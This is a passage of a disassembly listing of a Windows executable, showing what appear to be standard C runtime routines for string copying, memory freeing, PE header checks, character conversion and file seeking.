[ebp+arg_14] call sub_419DC4 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4161FB loc_4161F7: ; CODE XREF: sub_41609C+6Dj ; sub_41609C+AAj ... xor eax, eax jmp short loc_416242 ; --------------------------------------------------------------------------- loc_4161FB: ; CODE XREF: sub_41609C+159j cmp eax, [ebp+arg_10] jz short loc_41621E push ebx push ebx lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push [ebp+arg_10] call sub_419E0B mov esi, eax add esp, 18h cmp esi, ebx jz short loc_4161F7 mov [ebp+arg_4], esi loc_41621E: ; CODE XREF: sub_41609C+162j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+arg_14] call ds:off_41E10C cmp esi, ebx mov edi, eax jz short loc_416240 push esi call sub_40D35A pop ecx loc_416240: ; CODE XREF: sub_41609C+19Bj mov eax, edi loc_416242: ; CODE XREF: sub_41609C+12Fj ; sub_41609C+15Dj lea esp, [ebp-14h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AB4A leave retn sub_41609C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416254 proc near ; CODE XREF: sub_40E817+96p ; sub_4167A4+83p var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40AB59 push [ebp+arg_1C] lea ecx, [ebp+var_10] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_41609C add esp, 1Ch cmp [ebp+var_4], 0 jz short locret_416292 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_416292: ; CODE XREF: sub_416254+35j leave retn sub_416254 endp ; =============== S U B R O U T I N E ======================================= sub_416294 proc near ; CODE XREF: sub_40EE22+E9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_416422 push dword ptr [esi+4] call sub_40D35A push dword ptr [esi+8] call sub_40D35A push dword ptr [esi+0Ch] call sub_40D35A push dword ptr [esi+10h] call sub_40D35A push dword ptr [esi+14h] call sub_40D35A push dword ptr [esi+18h] call sub_40D35A push dword ptr [esi] call sub_40D35A push dword ptr [esi+20h] call sub_40D35A push dword ptr [esi+24h] call sub_40D35A push dword ptr [esi+28h] call sub_40D35A push dword ptr [esi+2Ch] call sub_40D35A push dword ptr [esi+30h] call sub_40D35A push dword ptr [esi+34h] call sub_40D35A push dword ptr [esi+1Ch] call sub_40D35A push dword ptr [esi+38h] call sub_40D35A push dword ptr [esi+3Ch] call sub_40D35A add esp, 40h push dword ptr [esi+40h] call sub_40D35A push dword ptr [esi+44h] call sub_40D35A push dword ptr [esi+48h] call sub_40D35A push dword ptr [esi+4Ch] call sub_40D35A push dword ptr [esi+50h] call sub_40D35A push dword ptr [esi+54h] call sub_40D35A push dword ptr [esi+58h] call sub_40D35A push dword ptr [esi+5Ch] call sub_40D35A push dword ptr [esi+60h] call sub_40D35A push dword ptr [esi+64h] call sub_40D35A push dword ptr [esi+68h] call sub_40D35A push dword ptr [esi+6Ch] call sub_40D35A push dword ptr [esi+70h] call sub_40D35A push dword ptr [esi+74h] call sub_40D35A push dword ptr [esi+78h] call sub_40D35A push dword ptr [esi+7Ch] call sub_40D35A add esp, 40h push dword ptr [esi+80h] call sub_40D35A push dword ptr [esi+84h] call sub_40D35A push dword ptr [esi+88h] call sub_40D35A push dword ptr [esi+8Ch] call sub_40D35A push dword ptr [esi+90h] call sub_40D35A push dword ptr [esi+94h] call sub_40D35A push dword ptr [esi+98h] call sub_40D35A push dword ptr [esi+9Ch] call sub_40D35A push dword ptr [esi+0A0h] call sub_40D35A push dword ptr [esi+0A4h] call sub_40D35A push dword ptr [esi+0A8h] call sub_40D35A add esp, 2Ch loc_416422: ; CODE XREF: sub_416294+7j pop esi retn sub_416294 endp ; =============== S U B R O U T I N E ======================================= sub_416424 proc near ; CODE XREF: sub_40EE22+64p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_416462 mov eax, [esi] cmp eax, off_423F18 jz short loc_41643E push eax call sub_40D35A pop ecx loc_41643E: ; CODE XREF: sub_416424+11j mov eax, [esi+4] cmp eax, off_423F1C jz short loc_416450 push eax call sub_40D35A pop ecx loc_416450: ; CODE XREF: sub_416424+23j mov esi, [esi+8] cmp esi, off_423F20 jz short loc_416462 push esi call sub_40D35A pop ecx loc_416462: ; CODE XREF: sub_416424+7j ; sub_416424+35j pop esi retn sub_416424 endp ; =============== S U B R O U T I N E ======================================= sub_416464 proc near ; CODE XREF: sub_40EE22+43p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4164EB mov eax, [esi+0Ch] cmp eax, off_423F24 jz short loc_41647F push eax call sub_40D35A pop ecx loc_41647F: ; CODE XREF: sub_416464+12j mov eax, [esi+10h] cmp eax, off_423F28 jz short loc_416491 push eax call sub_40D35A pop ecx loc_416491: ; CODE XREF: sub_416464+24j mov eax, [esi+14h] cmp eax, off_423F2C jz short loc_4164A3 push eax call sub_40D35A pop ecx loc_4164A3: ; CODE XREF: sub_416464+36j mov eax, [esi+18h] cmp eax, off_423F30 jz short loc_4164B5 push eax call sub_40D35A pop ecx loc_4164B5: ; CODE XREF: sub_416464+48j mov eax, [esi+1Ch] cmp eax, off_423F34 jz short loc_4164C7 push eax call sub_40D35A pop ecx loc_4164C7: ; CODE XREF: sub_416464+5Aj mov eax, [esi+20h] cmp eax, off_423F38 jz short loc_4164D9 push eax call sub_40D35A pop ecx loc_4164D9: ; CODE XREF: sub_416464+6Cj mov esi, [esi+24h] cmp esi, off_423F3C jz short loc_4164EB push esi call sub_40D35A pop ecx loc_4164EB: ; CODE XREF: sub_416464+7j ; sub_416464+7Ej pop esi retn sub_416464 endp ; =============== S U B R O U T I N E ======================================= sub_4164ED proc near ; CODE XREF: sub_4136C1+117p ; sub_4136C1+139p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx xor ebx, ebx cmp eax, ebx push esi push edi jz short loc_416502 mov edi, [esp+0Ch+arg_4] cmp edi, ebx ja short loc_41651D loc_416502: ; CODE XREF: sub_4164ED+Bj ; sub_4164ED+3Aj call sub_40F7D4 push 16h pop esi mov [eax], esi loc_41650C: ; CODE XREF: sub_4164ED+69j push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_41655A ; --------------------------------------------------------------------------- loc_41651D: ; CODE XREF: sub_4164ED+13j mov esi, [esp+0Ch+arg_8] cmp esi, ebx jnz short loc_416529 loc_416525: ; CODE XREF: sub_4164ED+48j mov [eax], bl jmp short loc_416502 ; --------------------------------------------------------------------------- loc_416529: ; CODE XREF: sub_4164ED+36j mov edx, eax loc_41652B: ; CODE XREF: sub_4164ED+44j cmp [edx], bl jz short loc_416533 inc edx dec edi jnz short loc_41652B loc_416533: ; CODE XREF: sub_4164ED+40j cmp edi, ebx jz short loc_416525 loc_416537: ; CODE XREF: sub_4164ED+55j mov cl, [esi] mov [edx], cl inc edx inc esi cmp cl, bl jz short loc_416544 dec edi jnz short loc_416537 loc_416544: ; CODE XREF: sub_4164ED+52j cmp edi, ebx jnz short loc_416558 mov [eax], bl call sub_40F7D4 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_41650C ; --------------------------------------------------------------------------- loc_416558: ; CODE XREF: sub_4164ED+59j xor eax, eax loc_41655A: ; CODE XREF: sub_4164ED+2Ej pop edi pop esi pop ebx retn sub_4164ED endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_416574: ; CODE XREF: .text:00416581j mov al, [edx] or al, al jz short loc_416583 add edx, 1 bts [esp], eax jmp short loc_416574 ; --------------------------------------------------------------------------- loc_416583: ; CODE XREF: .text:00416578j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_41658C: ; CODE XREF: .text:0041659Cj add ecx, 1 mov al, [esi] or al, al jz short loc_41659E add esi, 1 bt [esp], eax jnb short loc_41658C loc_41659E: ; CODE XREF: .text:00416593j mov eax, ecx add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165A6 proc near ; CODE XREF: sub_4136C1+F1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp [ebp+arg_C], ebx push edi jnz short loc_4165C6 cmp esi, ebx jnz short loc_4165CA cmp [ebp+arg_4], ebx jnz short loc_4165D1 loc_4165BF: ; CODE XREF: sub_4165A6+4Dj ; sub_4165A6+8Cj xor eax, eax loc_4165C1: ; CODE XREF: sub_4165A6+44j ; sub_4165A6+9Ej pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_4165C6: ; CODE XREF: sub_4165A6+Ej cmp esi, ebx jz short loc_4165D1 loc_4165CA: ; CODE XREF: sub_4165A6+12j mov edi, [ebp+arg_4] cmp edi, ebx ja short loc_4165EC loc_4165D1: ; CODE XREF: sub_4165A6+17j ; sub_4165A6+22j ... call sub_40F7D4 push 16h pop esi mov [eax], esi loc_4165DB: ; CODE XREF: sub_4165A6+B1j push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_4165C1 ; --------------------------------------------------------------------------- loc_4165EC: ; CODE XREF: sub_4165A6+29j cmp [ebp+arg_C], ebx jnz short loc_4165F5 mov [esi], bl jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_4165F5: ; CODE XREF: sub_4165A6+49j mov edx, [ebp+arg_8] cmp edx, ebx jnz short loc_416600 mov [esi], bl jmp short loc_4165D1 ; --------------------------------------------------------------------------- loc_416600: ; CODE XREF: sub_4165A6+54j cmp [ebp+arg_C], 0FFFFFFFFh mov eax, esi jnz short loc_416617 loc_416608: ; CODE XREF: sub_4165A6+6Dj mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_416630 dec edi jnz short loc_416608 jmp short loc_416630 ; --------------------------------------------------------------------------- loc_416617: ; CODE XREF: sub_4165A6+60j ; sub_4165A6+81j mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_416629 dec edi jz short loc_416629 dec [ebp+arg_C] jnz short loc_416617 loc_416629: ; CODE XREF: sub_4165A6+79j ; sub_4165A6+7Cj cmp [ebp+arg_C], ebx jnz short loc_416630 mov [eax], bl loc_416630: ; CODE XREF: sub_4165A6+6Aj ; sub_4165A6+6Fj ... cmp edi, ebx jnz short loc_4165BF cmp [ebp+arg_C], 0FFFFFFFFh jnz short loc_416649 mov eax, [ebp+arg_4] push 50h mov [esi+eax-1], bl pop eax jmp loc_4165C1 ; --------------------------------------------------------------------------- loc_416649: ; CODE XREF: sub_4165A6+92j mov [esi], bl call sub_40F7D4 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_4165DB sub_4165A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416659 proc near ; CODE XREF: sub_418594+32p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_416670 xor eax, eax jmp loc_41670A ; --------------------------------------------------------------------------- loc_416670: ; CODE XREF: sub_416659+Ej cmp ebx, 4 push edi jb short loc_4166EB lea edi, [ebx-4] test edi, edi jbe short loc_4166EB mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] loc_416683: ; CODE XREF: sub_416659+66j mov dl, [eax] add eax, 4 add ecx, 4 test dl, dl jz short loc_4166E1 cmp dl, [ecx-4] jnz short loc_4166E1 mov dl, [eax-3] test dl, dl jz short loc_4166D7 cmp dl, [ecx-3] jnz short loc_4166D7 mov dl, [eax-2] test dl, dl jz short loc_4166CD cmp dl, [ecx-2] jnz short loc_4166CD mov dl, [eax-1] test dl, dl jz short loc_4166C3 cmp dl, [ecx-1] jnz short loc_4166C3 add [ebp+var_4], 4 cmp [ebp+var_4], edi jb short loc_416683 jmp short loc_416702 ; --------------------------------------------------------------------------- loc_4166C3: ; CODE XREF: sub_416659+58j ; sub_416659+5Dj movzx eax, byte ptr [eax-1] movzx ecx, byte ptr [ecx-1] jmp short loc_416713 ; --------------------------------------------------------------------------- loc_4166CD: ; CODE XREF: sub_416659+4Cj ; sub_416659+51j movzx eax, byte ptr [eax-2] movzx ecx, byte ptr [ecx-2] jmp short loc_416713 ; --------------------------------------------------------------------------- loc_4166D7: ; CODE XREF: sub_416659+40j ; sub_416659+45j movzx eax, byte ptr [eax-3] movzx ecx, byte ptr [ecx-3] jmp short loc_416713 ; --------------------------------------------------------------------------- loc_4166E1: ; CODE XREF: sub_416659+34j ; sub_416659+39j movzx eax, byte ptr [eax-4] movzx ecx, byte ptr [ecx-4] jmp short loc_416713 ; --------------------------------------------------------------------------- loc_4166EB: ; CODE XREF: sub_416659+1Bj ; sub_416659+22j mov ecx, [ebp+arg_4] mov eax, [ebp+arg_0] jmp short loc_416702 ; --------------------------------------------------------------------------- loc_4166F3: ; CODE XREF: sub_416659+ACj mov dl, [eax] test dl, dl jz short loc_41670D cmp dl, [ecx] jnz short loc_41670D inc eax inc ecx inc [ebp+var_4] loc_416702: ; CODE XREF: sub_416659+68j ; sub_416659+98j cmp [ebp+var_4], ebx jb short loc_4166F3 xor eax, eax loc_416709: ; CODE XREF: sub_416659+BCj pop edi loc_41670A: ; CODE XREF: sub_416659+12j pop ebx leave retn ; --------------------------------------------------------------------------- loc_41670D: ; CODE XREF: sub_416659+9Ej ; sub_416659+A2j movzx eax, byte ptr [eax] movzx ecx, byte ptr [ecx] loc_416713: ; CODE XREF: sub_416659+72j ; sub_416659+7Cj ... sub eax, ecx jmp short loc_416709 sub_416659 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_416734: ; CODE XREF: .text:00416741j mov al, [edx] or al, al jz short loc_416743 add edx, 1 bts [esp], eax jmp short loc_416734 ; --------------------------------------------------------------------------- loc_416743: ; CODE XREF: .text:00416738j mov esi, [ebp+8] mov edi, edi loc_416748: ; CODE XREF: .text:00416755j mov al, [esi] or al, al jz short loc_41675A add esi, 1 bt [esp], eax jnb short loc_416748 lea eax, [esi-1] loc_41675A: ; CODE XREF: .text:0041674Cj add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416760 proc near ; CODE XREF: sub_40F65B+93p ; sub_4109D7+34Dp ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40AB59 movzx eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, 8000h cmp [ebp+var_4], 0 jz short locret_416794 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_416794: ; CODE XREF: sub_416760+2Bj leave retn sub_416760 endp ; =============== S U B R O U T I N E ======================================= sub_416796 proc near ; CODE XREF: sub_412A74+6CBp ; sub_412A74+B85p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416760 pop ecx pop ecx retn sub_416796 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A4 proc near ; CODE XREF: sub_40F65B+32p ; sub_4141A2+81p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push [ebp+arg_8] lea ecx, [ebp+var_18] call sub_40AB59 mov ebx, [ebp+arg_0] lea eax, [ebx+1] cmp eax, 100h ja short loc_4167D2 mov eax, [ebp+var_18] mov eax, [eax+0C8h] movzx eax, word ptr [eax+ebx*2] jmp short loc_416847 ; --------------------------------------------------------------------------- loc_4167D2: ; CODE XREF: sub_4167A4+1Dj mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_416760 test eax, eax pop ecx pop ecx jz short loc_416803 mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_8], al mov [ebp+var_7], bl mov [ebp+var_6], 0 pop ecx jmp short loc_41680D ; --------------------------------------------------------------------------- loc_416803: ; CODE XREF: sub_4167A4+4Bj xor ecx, ecx mov [ebp+var_8], bl mov [ebp+var_7], 0 inc ecx loc_41680D: ; CODE XREF: sub_4167A4+5Dj mov eax, [ebp+var_18] push 1 push dword ptr [eax+14h] push dword ptr [eax+4] lea eax, [ebp+var_4] push eax push ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push 1 push eax call sub_416254 add esp, 20h test eax, eax jnz short loc_416843 cmp [ebp+var_C], al jz short loc_41683F mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_41683F: ; CODE XREF: sub_4167A4+92j xor eax, eax jmp short loc_416857 ; --------------------------------------------------------------------------- loc_416843: ; CODE XREF: sub_4167A4+8Dj movzx eax, [ebp+var_4] loc_416847: ; CODE XREF: sub_4167A4+2Cj and eax, [ebp+arg_4] cmp [ebp+var_C], 0 jz short loc_416857 mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_416857: ; CODE XREF: sub_4167A4+9Dj ; sub_4167A4+AAj pop ebx leave retn sub_4167A4 endp ; =============== S U B R O U T I N E ======================================= sub_41685A proc near ; CODE XREF: sub_411C19+Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_42649C, eax retn sub_41685A endp ; --------------------------------------------------------------------------- loc_416864: ; DATA XREF: sub_416874:loc_4168D9o push dword ptr [esp+4] call ds:off_41E104 xor eax, eax inc eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416874 proc near ; CODE XREF: sub_40F881+26p ; sub_40F934+78p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 14h push offset dword_421D38 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi push dword_42649C call sub_40F194 pop ecx mov esi, eax cmp esi, edi jnz short loc_4168EA lea eax, [ebp+var_1C] push eax call sub_411A06 pop ecx cmp eax, edi jz short loc_4168B2 push edi push edi push edi push edi push edi call sub_40CA0C add esp, 14h loc_4168B2: ; CODE XREF: sub_416874+2Fj cmp [ebp+var_1C], 1 jz short loc_4168D9 push offset aKernel32_dll ; "kernel32.dll" call ds:dword_41E0CC ; GetModuleHandleA cmp eax, edi jz short loc_4168D9 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call ds:off_41E0D4 mov esi, eax cmp esi, edi jnz short loc_4168DE loc_4168D9: ; CODE XREF: sub_416874+42j ; sub_416874+51j mov esi, offset loc_416864 loc_4168DE: ; CODE XREF: sub_416874+63j push esi call sub_40F128 pop ecx mov dword_42649C, eax loc_4168EA: ; CODE XREF: sub_416874+21j mov [ebp+ms_exc.disabled], edi push [ebp+arg_4] push [ebp+arg_0] call esi ; MultiByteToWideChar mov [ebp+var_20], eax jmp short loc_416929 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_24], eax xor ecx, ecx cmp eax, 0C0000017h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_24], 0C0000017h jnz short loc_416925 push 8 call ds:dword_41E15C ; RtlRestoreLastWin32Error loc_416925: ; CODE XREF: sub_416874+A7j and [ebp+var_20], 0 loc_416929: ; CODE XREF: sub_416874+84j mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_20] call __SEH_epilog4 retn sub_416874 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416940 proc near ; CODE XREF: sub_4169B2+16p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 5A4Dh jz short loc_41694E loc_41694B: ; CODE XREF: sub_416940+19j xor eax, eax retn ; --------------------------------------------------------------------------- loc_41694E: ; CODE XREF: sub_416940+9j mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz short loc_41694B xor ecx, ecx cmp word ptr [eax+18h], 10Bh setz cl mov eax, ecx retn sub_416940 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_4169B2+27p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [eax+3Ch] add ecx, eax movzx eax, word ptr [ecx+14h] push ebx push esi movzx esi, word ptr [ecx+6] xor edx, edx test esi, esi push edi lea eax, [eax+ecx+18h] jbe short loc_4169AC mov edi, [esp+0Ch+arg_4] loc_416992: ; CODE XREF: sub_416970+3Aj mov ecx, [eax+0Ch] cmp edi, ecx jb short loc_4169A2 mov ebx, [eax+8] add ebx, ecx cmp edi, ebx jb short loc_4169AE loc_4169A2: ; CODE XREF: sub_416970+27j add edx, 1 add eax, 28h cmp edx, esi jb short loc_416992 loc_4169AC: ; CODE XREF: sub_416970+1Cj xor eax, eax loc_4169AE: ; CODE XREF: sub_416970+30j pop edi pop esi pop ebx retn sub_416970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169B2 proc near ; CODE XREF: sub_410640+FFp ; sub_411A79+Ep ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_421D58 call __SEH_prolog4 and [ebp+ms_exc.disabled], 0 mov edx, 400000h push edx call sub_416940 pop ecx test eax, eax jz short loc_416A0F mov eax, [ebp+arg_0] sub eax, edx push eax push edx call sub_416970 pop ecx pop ecx test eax, eax jz short loc_416A0F mov eax, [eax+24h] shr eax, 1Fh not eax and eax, 1 mov [ebp+ms_exc.disabled], 0FFFFFFFEh jmp short loc_416A18 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] xor ecx, ecx cmp eax, 0C0000005h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_416A0F: ; CODE XREF: sub_4169B2+1Ej ; sub_4169B2+30j mov [ebp+ms_exc.disabled], 0FFFFFFFEh xor eax, eax loc_416A18: ; CODE XREF: sub_4169B2+44j call __SEH_epilog4 retn sub_4169B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A1E proc near ; CODE XREF: sub_413B24+2EEp ; sub_413B24+3C8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_418949 or edi, 0FFFFFFFFh cmp eax, edi pop ecx jnz short loc_416A53 call sub_40F7D4 mov dword ptr [eax], 9 loc_416A4D: ; CODE XREF: sub_416A1E+5Ej mov eax, edi mov edx, edi jmp short loc_416A9D ; --------------------------------------------------------------------------- loc_416A53: ; CODE XREF: sub_416A1E+22j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call ds:off_41E064 cmp eax, edi mov [ebp+var_8], eax jnz short loc_416A7E call ds:dword_41E0D8 ; RtlGetLastWin32Error test eax, eax jz short loc_416A7E push eax call sub_40F7FA pop ecx jmp short loc_416A4D ; --------------------------------------------------------------------------- loc_416A7E: ; CODE XREF: sub_416A1E+4Bj ; sub_416A1E+55j mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_433C00[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_416A9D: ; CODE XREF: sub_416A1E+33j pop edi pop esi leave retn sub_416A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416AA1 proc near ; CODE XREF: sub_4107D6+116p var_24 = dword ptr -24h var_20 = dword ptr -20h ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset dword_421D78 call __SEH_prolog4 or esi, 0FFFFFFFFh mov [ebp+var_24], esi mov [ebp+var_20], esi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_416ADA call sub_40F7E7 and dword ptr [eax], 0 call sub_40F7D4 mov dword ptr [eax], 9 loc_416AD1: ; CODE XREF: sub_416AA1+66j mov eax, esi mov edx, esi jmp loc_416BAA ; --------------------------------------------------------------------------- loc_416ADA: ; CODE XREF: sub_416AA1+1Bj xor edi, edi cmp eax, edi jl short loc_416AE8 cmp eax, dword_433BE4 jb short loc_416B09 loc_416AE8: ; CODE XREF: sub_416AA1+3Dj call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h jmp short loc_416AD1 ; --------------------------------------------------------------------------- loc_416B09: ; CODE XREF: sub_416AA1+45j mov ecx, eax sar ecx, 5 lea ebx, ds:433C00h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jnz short loc_416B4F call sub_40F7E7 mov [eax], edi call sub_40F7D4 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h or edx, 0FFFFFFFFh mov eax, edx jmp short loc_416BAA ; --------------------------------------------------------------------------- loc_416B4F: ; CODE XREF: sub_416AA1+86j push eax call sub_4189BA pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_416B7E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416A1E add esp, 10h mov [ebp+var_24], eax mov [ebp+var_20], edx jmp short loc_416B98 ; --------------------------------------------------------------------------- loc_416B7E: ; CODE XREF: sub_416AA1+BFj call sub_40F7D4 mov dword ptr [eax], 9 call sub_40F7E7 mov [eax], edi or [ebp+var_24], 0FFFFFFFFh or [ebp+var_20], 0FFFFFFFFh loc_416B98: ; CODE XREF: sub_416AA1+DBj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_416BB0 mov eax, [ebp+var_24] mov edx, [ebp+var_20] loc_416BAA: ; CODE XREF: sub_416AA1+34j ; sub_416AA1+ACj call __SEH_epilog4 retn sub_416AA1 endp ; =============== S U B R O U T I N E ======================================= sub_416BB0 proc near ; CODE XREF: sub_416AA1+FEp ; DATA XREF: r69pu5ti:00421D90o push dword ptr [ebp+8] call sub_418A5A pop ecx retn sub_416BB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=518h sub_416BBA proc near ; CODE XREF: sub_417180+9Ap ; sub_41A0B7+BBp var_594 = dword ptr -594h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_588 = dword ptr -588h var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_578 = dword ptr -578h var_574 = dword ptr -574h var_56D = byte ptr -56Dh var_56C = dword ptr -56Ch var_568 = dword ptr -568h var_564 = byte ptr -564h var_410 = byte ptr -410h var_160 = byte ptr -160h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-518h] sub esp, 594h mov eax, dword_423068 xor eax, ebp mov [ebp+518h+var_4], eax mov eax, [ebp+518h+arg_4] push esi xor esi, esi cmp [ebp+518h+arg_8], esi mov [ebp+518h+var_57C], eax mov [ebp+518h+var_578], esi mov [ebp+518h+var_580], esi jnz short loc_416BF6 xor eax, eax jmp loc_41716A ; --------------------------------------------------------------------------- loc_416BF6: ; CODE XREF: sub_416BBA+33j cmp eax, esi jnz short loc_416C21 call sub_40F7E7 mov [eax], esi call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp loc_41716A ; --------------------------------------------------------------------------- loc_416C21: ; CODE XREF: sub_416BBA+3Ej mov esi, [ebp+518h+arg_0] push ebx mov ebx, esi and ebx, 1Fh imul ebx, 28h mov eax, esi sar eax, 5 push edi lea edi, ds:433C00h[eax*4] mov eax, [edi] add eax, ebx mov cl, 